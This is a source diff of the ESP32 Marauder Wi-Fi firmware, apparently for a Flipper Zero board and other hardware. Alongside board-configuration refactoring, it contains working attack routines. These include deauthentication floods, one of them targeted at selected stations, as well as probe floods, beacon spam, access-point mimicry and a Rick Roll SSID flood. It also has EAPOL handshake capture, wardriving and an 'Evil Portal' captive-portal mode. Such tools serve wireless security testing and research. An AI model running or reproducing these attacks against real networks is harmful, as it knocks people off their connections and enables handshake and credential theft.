+  else if (currentScanMode == WIFI_SCAN_ACTIVE_EAPOL)
+  {
+    #ifdef HAS_SCREEN
+      eapolMonitorMain(currentTime);
+    #endif
+  }
+  else if (currentScanMode == WIFI_SCAN_ACTIVE_LIST_EAPOL) {
+    if (currentTime - initTime >= this->channel_hop_delay * 1000)
+    {
+      initTime = millis();
+      channelHop();
+    }
+    #ifdef HAS_SCREEN
+      eapolMonitorMain(currentTime);
+    #endif    
+  }
+  else if (currentScanMode == WIFI_ATTACK_AUTH) {
+    for (int i = 0; i < 55; i++)
+      this->sendProbeAttack(currentTime);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH) {
+    for (int i = 0; i < 55; i++)
+      this->sendDeauthAttack(currentTime, this->dst_mac);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH_MANUAL) {
+    for (int i = 0; i < 55; i++)
+      this->sendDeauthFrame(this->src_mac, this->set_channel, this->dst_mac);
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if (currentScanMode == WIFI_ATTACK_DEAUTH_TARGETED) {
+    // Loop through each AP
+    for (int x = 0; x < access_points->size(); x++) {
+      // Only get selected APs
+      if (access_points->get(x).selected) {
+        AccessPoint cur_ap = access_points->get(x);
+        // Loop through each AP's Station
+        for (int i = 0; i < cur_ap.stations->size(); i++) {
+          // Only get selected Stations
+          if (stations->get(cur_ap.stations->get(i)).selected) {
+            Station cur_sta = stations->get(cur_ap.stations->get(i));
+
+            // Send deauths for each selected AP's selected Station
+            for (int y = 0; y < 25; y++)
+              this->sendDeauthFrame(cur_ap.bssid, cur_ap.channel, cur_sta.mac);
+
+            // Display packets sent on screen
+            if (currentTime - initTime >= 1000) {
+              initTime = millis();
+              String displayString = "";
+              String displayString2 = "";
+              displayString.concat(text18);
+              displayString.concat(packets_sent);
+              for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+                displayString2.concat(" ");
+              #ifdef HAS_SCREEN
+                display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+                display_obj.showCenterText(displayString2, 160);
+                display_obj.showCenterText(displayString, 160);
+              #endif
+              packets_sent = 0;
+            }
+          }
+        }
+      }
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_MIMIC)) {
+    // Need this for loop because getTouch causes ~10ms delay
+    // which makes beacon spam less effective
+    for (int i = 0; i < access_points->size(); i++) {
+      if (access_points->get(i).selected)
+        this->broadcastCustomBeacon(currentTime, ssid{access_points->get(i).essid, random(1, 12), {random(256), 
+                                                                                                   random(256),
+                                                                                                   random(256),
+                                                                                                   random(256),
+                                                                                                   random(256),
+                                                                                                   random(256)}});
+    }
+      
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      //Serial.print("packets/sec: ");
+      //Serial.println(packets_sent);
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_BEACON_SPAM))
+  {
+    // Need this for loop because getTouch causes ~10ms delay
+    // which makes beacon spam less effective
+    for (int i = 0; i < 55; i++)
+      broadcastRandomSSID(currentTime);
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      //Serial.print("packets/sec: ");
+      //Serial.println(packets_sent);
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_BEACON_LIST)) {
+    for (int i = 0; i < ssids->size(); i++)
+      this->broadcastCustomBeacon(currentTime, ssids->get(i));
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_AP_SPAM)) {
+    for (int i = 0; i < access_points->size(); i++) {
+      if (access_points->get(i).selected)
+        this->broadcastCustomBeacon(currentTime, access_points->get(i));
+    }
+
+    if (currentTime - initTime >= 1000) {
+      initTime = millis();
+      packets_sent = 0;
+    }
+  }
+  else if ((currentScanMode == WIFI_ATTACK_RICK_ROLL))
+  {
+    // Need this for loop because getTouch causes ~10ms delay
+    // which makes beacon spam less effective
+    for (int i = 0; i < 7; i++)
+    {
+      for (int x = 0; x < (sizeof(rick_roll)/sizeof(char *)); x++)
+      {
+        broadcastSetSSID(currentTime, rick_roll[x]);
+      }
+    }
+
+    if (currentTime - initTime >= 1000)
+    {
+      initTime = millis();
+      //Serial.print("packets/sec: ");
+      //Serial.println(packets_sent);
+      String displayString = "";
+      String displayString2 = "";
+      displayString.concat(text18);
+      displayString.concat(packets_sent);
+      for (int x = 0; x < STANDARD_FONT_CHAR_LIMIT; x++)
+        displayString2.concat(" ");
+      #ifdef HAS_SCREEN
+        display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
+        display_obj.showCenterText(displayString2, 160);
+        display_obj.showCenterText(displayString, 160);
+      #endif
+      packets_sent = 0;
+    }
+  }
+}

+ 76 - 68
esp32cam_marauder/WiFiScan.h

@@ -3,18 +3,14 @@
 
 #include "configs.h"
 
-//#include <BLEDevice.h>
-//#include <BLEUtils.h>
-//#include <BLEScan.h>
-//#include <BLEAdvertisedDevice.h>
 #include <ArduinoJson.h>
 
-// Testing NimBLE
 #ifdef HAS_BT
   #include <NimBLEDevice.h>
 #endif
 
 #include <WiFi.h>
+#include "EvilPortal.h"
 #include <math.h>
 #include "esp_wifi.h"
 #include "esp_wifi_types.h"
@@ -24,15 +20,25 @@
 #ifdef HAS_SCREEN
   #include "Display.h"
 #endif
-#include "SDInterface.h"
+#ifdef HAS_SD
+  #include "SDInterface.h"
+#endif
 #include "Buffer.h"
-#include "BatteryInterface.h"
-#include "TemperatureInterface.h"
+#ifdef HAS_BATTERY
+  #include "BatteryInterface.h"
+#endif
+#ifdef HAS_GPS
+  #include "GpsInterface.h"
+#endif
 #include "settings.h"
 #include "Assets.h"
-#include "flipperLED.h"
-#include "LedInterface.h"
-//#include "MenuFunctions.h"
+#ifdef MARAUDER_FLIPPER
+  #include "flipperLED.h"
+#elif defined(XIAO_ESP32_S3)
+  #include "xiaoLED.h"
+#else
+  #include "LedInterface.h"
+#endif
 
 #define bad_list_length 3
 
@@ -67,33 +73,50 @@
 #define WIFI_SCAN_RAW_CAPTURE 25
 #define WIFI_SCAN_STATION 26
 #define WIFI_ATTACK_DEAUTH_TARGETED 27
+#define WIFI_SCAN_ACTIVE_LIST_EAPOL 28
+#define WIFI_SCAN_SIG_STREN 29
+#define WIFI_SCAN_EVIL_PORTAL 30
+#define WIFI_SCAN_GPS_DATA 31
+#define WIFI_SCAN_WAR_DRIVE 32
 
 #define GRAPH_REFRESH 100
 
 #define MAX_CHANNEL 14
 
+extern EvilPortal evil_portal_obj;
+
 #ifdef HAS_SCREEN
   extern Display display_obj;
 #endif
-extern SDInterface sd_obj;
+#ifdef HAS_SD
+  extern SDInterface sd_obj;
+#endif
+#ifdef HAS_GPS
+  extern GpsInterface gps_obj;
+#endif
 extern Buffer buffer_obj;
-extern BatteryInterface battery_obj;
-extern TemperatureInterface temp_obj;
+#ifdef HAS_BATTERY
+  extern BatteryInterface battery_obj;
+#endif
 extern Settings settings_obj;
-extern flipperLED flipper_led;
-extern LedInterface led_obj;
+#ifdef MARAUDER_FLIPPER
+  extern flipperLED flipper_led;
+#elif defined(XIAO_ESP32_S3)
+  extern xiaoLED xiao_led;
+#else
+  extern LedInterface led_obj;
+#endif
 
 esp_err_t esp_wifi_80211_tx(wifi_interface_t ifx, const void *buffer, int len, bool en_sys_seq);
-//int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
 
-struct ssid {
+/*struct ssid {
   String essid;
-  int channel;
+  uint8_t channel;
   int bssid[6];
   bool selected;
-};
+};*/
 
-struct AccessPoint {
+/*struct AccessPoint {
   String essid;
   int channel;
   int bssid[6];
@@ -101,6 +124,11 @@ struct AccessPoint {
   LinkedList<char>* beacon;
   int rssi;
   LinkedList<int>* stations;
+};*/
+
+
+struct mac_addr {
+   unsigned char bytes[6];
 };
 
 struct Station {
@@ -111,8 +139,12 @@ struct Station {
 class WiFiScan
 {
   private:
+    // Wardriver thanks to https://github.com/JosephHewitt
+    struct mac_addr mac_history[mac_history_len];
+
     // Settings
-    int channel_hop_delay = 1;
+    uint mac_history_cursor = 0;
+    uint8_t channel_hop_delay = 1;
     bool force_pmkid = false;
     bool force_probe = false;
     bool save_pcap = false;
@@ -139,7 +171,7 @@ class WiFiScan
     uint32_t initTime = 0;
     bool run_setup = true;
     void initWiFi(uint8_t scan_mode);
-    int bluetoothScanTime = 5;
+    uint8_t bluetoothScanTime = 5;
     int packets_sent = 0;
     const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};
     #ifdef HAS_BT
@@ -147,9 +179,9 @@ class WiFiScan
     #endif
 
     //String connected_network = "";
-    String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
+    const String alfa = "1234567890qwertyuiopasdfghjkklzxcvbnm QWERTYUIOPASDFGHJKLZXCVBNM_";
 
-    char* rick_roll[8] = {
+    const char* rick_roll[8] = {
       "01 Never gonna give you up",
       "02 Never gonna let you down",
       "03 Never gonna run around",
@@ -191,32 +223,6 @@ class WiFiScan
                     /*36*/  0x00
                     };
 
-    /*uint8_t auth_packet[128] = {0xB0, 0x00, 0x3C, 0x00, // Frame Control, Duration
-                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest
-                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
-                                0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Dest BSSID
-                                0x00, 0x01, // Sequence number
-                                0x00, 0x00, // Algo
-                                0x01, 0x00, // Auth sequence number
-                                0x00, 0x00, // Status Code
-                                0x7F, 0x08,
-                                0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x40,
-                                0xDD, 0x0B, 0x00, 0x17, 0xF2, 0x0A, 0x00, 0x01, // Say it was Apple
-                                0x04, 0x00, 0x00, 0x00, 0x00, 0xDD, 0x0A, 0x00,
-                                0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 0x00, 0x00,
-                                0x00
-                                };*/
-    uint8_t auth_packet[65] = {0xb0, 0x00, 0x3c, 0x00, 
-                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
-                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
-                              0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 
-                              0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 
-                              0x7f, 0x08, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 
-                              0x00, 0x40, 0xdd, 0x0b, 0x00, 0x17, 0xf2, 0x0a, 
-                              0x00, 0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0xdd, 
-                              0x0a, 0x00, 0x10, 0x18, 0x02, 0x00, 0x00, 0x10, 
-                              0x00, 0x00, 0x00};
-
     uint8_t prob_req_packet[128] = {0x40, 0x00, 0x00, 0x00, 
                                   0xff, 0xff, 0xff, 0xff, 0xff, 0xff, // Destination
                                   0x01, 0x02, 0x03, 0x04, 0x05, 0x06, // Source
@@ -235,6 +241,13 @@ class WiFiScan
                               0xf0, 0xff, 0x02, 0x00
                           };
 
+    bool seen_mac(unsigned char* mac);
+    bool mac_cmp(struct mac_addr addr1, struct mac_addr addr2);
+    void save_mac(unsigned char* mac);
+    void clearMacHistory();
+    void executeWarDrive();
+    void startWardriverWiFi();
+
     void startWiFiAttacks(uint8_t scan_mode, uint16_t color, String title_string);
 
     void packetMonitorMain(uint32_t currentTime);
@@ -248,19 +261,14 @@ class WiFiScan
     void sendProbeAttack(uint32_t currentTime);
     void sendDeauthAttack(uint32_t currentTime, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
     void sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str = "ff:ff:ff:ff:ff:ff");
-    void sendDeauthFrame(int bssid[6], int channel, uint8_t mac[6]);
+    void sendDeauthFrame(uint8_t bssid[6], int channel, uint8_t mac[6]);
     void broadcastRandomSSID(uint32_t currentTime);
     void broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid);
     void broadcastCustomBeacon(uint32_t current_time, AccessPoint custom_ssid);
-    void broadcastSetSSID(uint32_t current_time, char* ESSID);
+    void broadcastSetSSID(uint32_t current_time, const char* ESSID);
     void RunAPScan(uint8_t scan_mode, uint16_t color);
-    //void RunRickRoll(uint8_t scan_mode, uint16_t color);
-    //void RunBeaconSpam(uint8_t scan_mode, uint16_t color);
-    //void RunProbeFlood(uint8_t scan_mode, uint16_t color);
-    //void RunDeauthFlood(uint8_t scan_mode, uint16_t color);
+    void RunGPSInfo();
     void RunMimicFlood(uint8_t scan_mode, uint16_t color);
-    //void RunBeaconList(uint8_t scan_mode, uint16_t color);
-    void RunEspressifScan(uint8_t scan_mode, uint16_t color);
     void RunPwnScan(uint8_t scan_mode, uint16_t color);
     void RunBeaconScan(uint8_t scan_mode, uint16_t color);
     void RunRawScan(uint8_t scan_mode, uint16_t color);
@@ -271,11 +279,12 @@ class WiFiScan
     void RunPacketMonitor(uint8_t scan_mode, uint16_t color);
     void RunBluetoothScan(uint8_t scan_mode, uint16_t color);
     void RunLvJoinWiFi(uint8_t scan_mode, uint16_t color);
+    void RunEvilPortal(uint8_t scan_mode, uint16_t color);
+    bool checkMem();
     #ifdef HAS_BT
       static void scanCompleteCB(BLEScanResults scanResults);
     #endif
 
-    //int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3);
 
   public:
     WiFiScan();
@@ -284,9 +293,9 @@ class WiFiScan
 
     //LinkedList<ssid>* ssids;
 
-    int set_channel = 1;
+    uint8_t set_channel = 1;
 
-    int old_channel = 0;
+    uint8_t old_channel = 0;
 
     bool orient_display = false;
     bool wifi_initialized = false;
@@ -299,11 +308,11 @@ class WiFiScan
     String dst_mac = "ff:ff:ff:ff:ff:ff";
     byte src_mac[6] = {};
 
-    //lv_obj_t * scr = lv_cont_create(NULL, NULL);
 
-    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); 
+    wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT();
     wifi_config_t ap_config;
 
+    String security_int_to_string(int security_type);
     char* stringToChar(String string);
     void RunSetup();
     int clearSSIDs();
@@ -314,15 +323,14 @@ class WiFiScan
     bool shutdownWiFi();
     bool shutdownBLE();
     bool scanning();
-    void joinWiFi(String ssid, String password);
+    //void joinWiFi(String ssid, String password);
     String getStaMAC();
     String getApMAC();
     String freeRAM();
     void changeChannel();
     void changeChannel(int chan);
     void RunInfo();
-    void RunShutdownWiFi();
-    void RunShutdownBLE();
+    //void RunShutdownBLE();
     void RunGenerateSSIDs(int count = 20);
     void RunClearSSIDs();
     void RunClearAPs();
@@ -332,9 +340,9 @@ class WiFiScan
     void main(uint32_t currentTime);
     void StartScan(uint8_t scan_mode, uint16_t color = 0);
     void StopScan(uint8_t scan_mode);
+    //void addLog(String log, int len);
     
     static void getMAC(char *addr, uint8_t* data, uint16_t offset);
-    static void espressifSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void pwnSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void beaconSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);
     static void rawSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type);

+ 0 - 69
esp32cam_marauder/a32u4_interface.cpp

@@ -1,69 +0,0 @@
-#include "a32u4_interface.h"
-
-HardwareSerial MySerial_two(2);
-
-void A32u4Interface::begin() {
-  MySerial_two.begin(BAUD32U4, SERIAL_8N1, 25, 4);
-
-  delay(2000);
-
-  Serial.println("Setup A32U4 Serial Interface");
-
-  MySerial_two.println("DELAY 1");
-
-  delay(1000);
-
-  uint8_t a32u4_rep = 0;
-
-  if (MySerial_two.available()) {
-    a32u4_rep = (uint8_t)MySerial_two.read();
-  }
-
-  //display_string.trim();
-
-  //Serial.println("\nDisplay string: " + (String)display_string);
-
-  if (a32u4_rep != 0) {
-    this->supported = true;
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_GREEN, TFT_BLACK);
-      display_obj.tft.println("ATmega32U4 Found!");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-  }
-  else {
-    #ifdef HAS_SCREEN
-      display_obj.tft.setTextColor(TFT_RED, TFT_BLACK);
-      display_obj.tft.println("ATmega32U4 Not Found");
-      display_obj.tft.setTextColor(TFT_CYAN, TFT_BLACK);
-    #endif
-    Serial.print("A32U4 Said: ");
-    Serial.println(a32u4_rep);
-  }
-
-  this->initTime = millis();
-}
-
-void A32u4Interface::runScript(String script) {
-  MySerial_two.println(script);
-}
-
-void A32u4Interface::test() {
-  MySerial_two.println("STRING Hello, World!");
-}
-
-void A32u4Interface::main(uint32_t current_time) {
-
-  if (current_time - this->initTime >= 1000) {
-    this->initTime = millis();
-    //MySerial_two.write("PING");
-
-    //delay(1);
-    
-    if (MySerial_two.available()) {
-      Serial.println("Got A32U4 Serial data");
-      Serial.println(MySerial_two.read());
-    }
-  }
-
-}

+ 0 - 30
esp32cam_marauder/a32u4_interface.h

@@ -1,30 +0,0 @@
-#ifndef a32u4_interface_h
-#define a32u4_interface_h
-
-#include "configs.h"
-
-#ifdef HAS_SCREEN
-  #include "Display.h"
-#endif
-#include <HardwareSerial.h>
-
-#define BAUD32U4 115200
-
-#ifdef HAS_SCREEN
-  extern Display display_obj;
-#endif
-
-class A32u4Interface {
-  public:
-    bool supported = false;
-
-    uint32_t initTime;
-
-    void begin();
-
-    void main(uint32_t current_time);
-    void test();
-    void runScript(String script);
-};
-
-#endif

+ 641 - 261
esp32cam_marauder/configs.h

@@ -8,259 +8,514 @@
   //If not defined, will write packages to SD card if supported
   //#define WRITE_PACKETS_SERIAL
   
+  //// BOARD TARGETS
+  //#define MARAUDER_M5STICKC
   //#define MARAUDER_MINI
   //#define MARAUDER_V4
   //#define MARAUDER_V6
   //#define MARAUDER_KIT
   //#define GENERIC_ESP32
   #define MARAUDER_FLIPPER
-  #define DISABLE_RGB_LED
-  
   //#define ESP32_LDDB
   //#define MARAUDER_DEV_BOARD_PRO
+  //#define XIAO_ESP32_S3
+  //// END BOARD TARGETS
+
+  #define MARAUDER_VERSION "v0.12.0"
+
+ //// BOARD FEATURES
+  #ifdef MARAUDER_M5STICKC
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    #define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    //#define HAS_GPS
+  #endif
 
-  #define MARAUDER_VERSION "v0.10.3"
-
-  //// BUTTON DEFINITIONS
   #ifdef MARAUDER_MINI
-    #define L_BTN 13
-    #define C_BTN 34
-    #define U_BTN 36
-    #define R_BTN 39
-    #define D_BTN 35
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BT
+    #define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    //#define HAS_GPS
   #endif
 
   #ifdef MARAUDER_V4
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    #define HAS_GPS
   #endif
-  //// END BUTTON DEFINITIONS
 
-  //// DISPLAY DEFINITIONS
-  #ifdef MARAUDER_V4
-    #define BANNER_TEXT_SIZE 2
+  #ifdef MARAUDER_V6
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    #define HAS_GPS
+  #endif
 
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 240
-    #endif
+  #ifdef MARAUDER_KIT
+    //#define FLIPPER_ZERO_HAT
+    #define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    #define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    #define HAS_TEMP_SENSOR
+    #define HAS_GPS
+  #endif
 
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 320
+  #ifdef GENERIC_ESP32
+    //#define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    //#define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+    //#define HAS_SD
+    //#define HAS_TEMP_SENSOR
+    //#define HAS_GPS
+  #endif
+
+  #ifdef MARAUDER_FLIPPER
+    //#define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    //#define HAS_BT
+    //#define HAS_BUTTONS
+    //#define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+	#define DISABLE_RGB_LED
+    //#define HAS_GPS
+    #ifndef WRITE_PACKETS_SERIAL
+      #define HAS_SD
+      #define USE_SD
     #endif
+    //#define HAS_TEMP_SENSOR
+  #endif
 
-    #define TFT_SHIELD
-    
-    #define SCREEN_WIDTH TFT_WIDTH
-    #define SCREEN_HEIGHT TFT_HEIGHT
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_HEIGHT
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX 320 // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH 16
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-    
-    #define KIT_LED_BUILTIN 13
+  #ifdef ESP32_LDDB
+    //#define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    //#define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    //#define HAS_TEMP_SENSOR
+    //#define HAS_GPS
   #endif
 
-  #ifdef MARAUDER_V6
-    #define BANNER_TEXT_SIZE 2
+  #ifdef MARAUDER_DEV_BOARD_PRO
+    //#define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    #define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+    #define HAS_SD
+    #define USE_SD
+    //#define HAS_TEMP_SENSOR
+    #define HAS_GPS
+  #endif
 
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 240
-    #endif
+  #ifdef XIAO_ESP32_S3
+    #define FLIPPER_ZERO_HAT
+    //#define HAS_BATTERY
+    #define HAS_BT
+    //#define HAS_BUTTONS
+    //#define HAS_NEOPIXEL_LED
+    //#define HAS_PWR_MGMT
+    //#define HAS_SCREEN
+    //#define HAS_SD
+    //#define HAS_TEMP_SENSOR
+    //#define HAS_GPS
+  #endif
+  //// END BOARD FEATURES
 
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 320
-    #endif
+  //// FLIPPER ZERO HAT SETTINGS
+  #ifdef FLIPPER_ZERO_HAT
 
-    #define TFT_DIY
-    
-    #define SCREEN_WIDTH TFT_WIDTH
-    #define SCREEN_HEIGHT TFT_HEIGHT
-    #define HEIGHT_1 TFT_WIDTH
-    #define WIDTH_1 TFT_HEIGHT
-    #define STANDARD_FONT_CHAR_LIMIT (TFT_WIDTH/6) // number of characters on a single line with normal font
-    #define TEXT_HEIGHT 16 // Height of text to be printed and scrolled
-    #define BOT_FIXED_AREA 0 // Number of lines in bottom fixed area (lines counted from bottom of screen)
-    #define TOP_FIXED_AREA 48 // Number of lines in top fixed area (lines counted from top of screen)
-    #define YMAX 320 // Bottom of screen area
-    #define minimum(a,b)     (((a) < (b)) ? (a) : (b))
-    //#define MENU_FONT NULL
-    #define MENU_FONT &FreeMono9pt7b // Winner
-    //#define MENU_FONT &FreeMonoBold9pt7b
-    //#define MENU_FONT &FreeSans9pt7b
-    //#define MENU_FONT &FreeSansBold9pt7b
-    #define BUTTON_ARRAY_LEN 10
-    #define STATUS_BAR_WIDTH 16
-    #define LVGL_TICK_PERIOD 6
-    
-    #define FRAME_X 100
-    #define FRAME_Y 64
-    #define FRAME_W 120
-    #define FRAME_H 50
-    
-    // Red zone size
-    #define REDBUTTON_X FRAME_X
-    #define REDBUTTON_Y FRAME_Y
-    #define REDBUTTON_W (FRAME_W/2)
-    #define REDBUTTON_H FRAME_H
-    
-    // Green zone size
-    #define GREENBUTTON_X (REDBUTTON_X + REDBUTTON_W)
-    #define GREENBUTTON_Y FRAME_Y
-    #define GREENBUTTON_W (FRAME_W/2)
-    #define GREENBUTTON_H FRAME_H
-    
-    #define STATUSBAR_COLOR 0x4A49
-    
-    #define KIT_LED_BUILTIN 13
-  #endif 
+    //#ifdef MARAUDER_FLIPPER
+    //  #define USE_FLIPPER_SD
+    //#endif
 
-  #ifdef MARAUDER_KIT
-    #define BANNER_TEXT_SIZE 2
+    #ifdef XIAO_ESP32_S3
+      #define USE_FLIPPER_SD
+    #endif
 
-    #ifndef TFT_WIDTH
-      #define TFT_WIDTH 240
+  #endif
+  //// END FLIPPER ZERO HAT SETTINGS
+
+  //// POWER MANAGEMENT
+  #ifdef HAS_PWR_MGMT
+    #ifdef MARAUDER_M5STICKC
+      #include "AXP192.h"
     #endif
+  #endif
+  //// END POWER MANAGEMENT
 
-    #ifndef TFT_HEIGHT
-      #define TFT_HEIGHT 320
+  //// BUTTON DEFINITIONS
+  #ifdef HAS_BUTTONS
+
+    #ifdef MARAUDER_MINI
+      #define L_BTN 13
+      #define C_BTN 34
+      #define U_BTN 36
+      #define R_BTN 39
+      #define D_BTN 35
     #endif
 
-    #define TFT_DIY
-    #define KIT
-    
-    #define SCREEN_WIDTH TFT_WIDTH
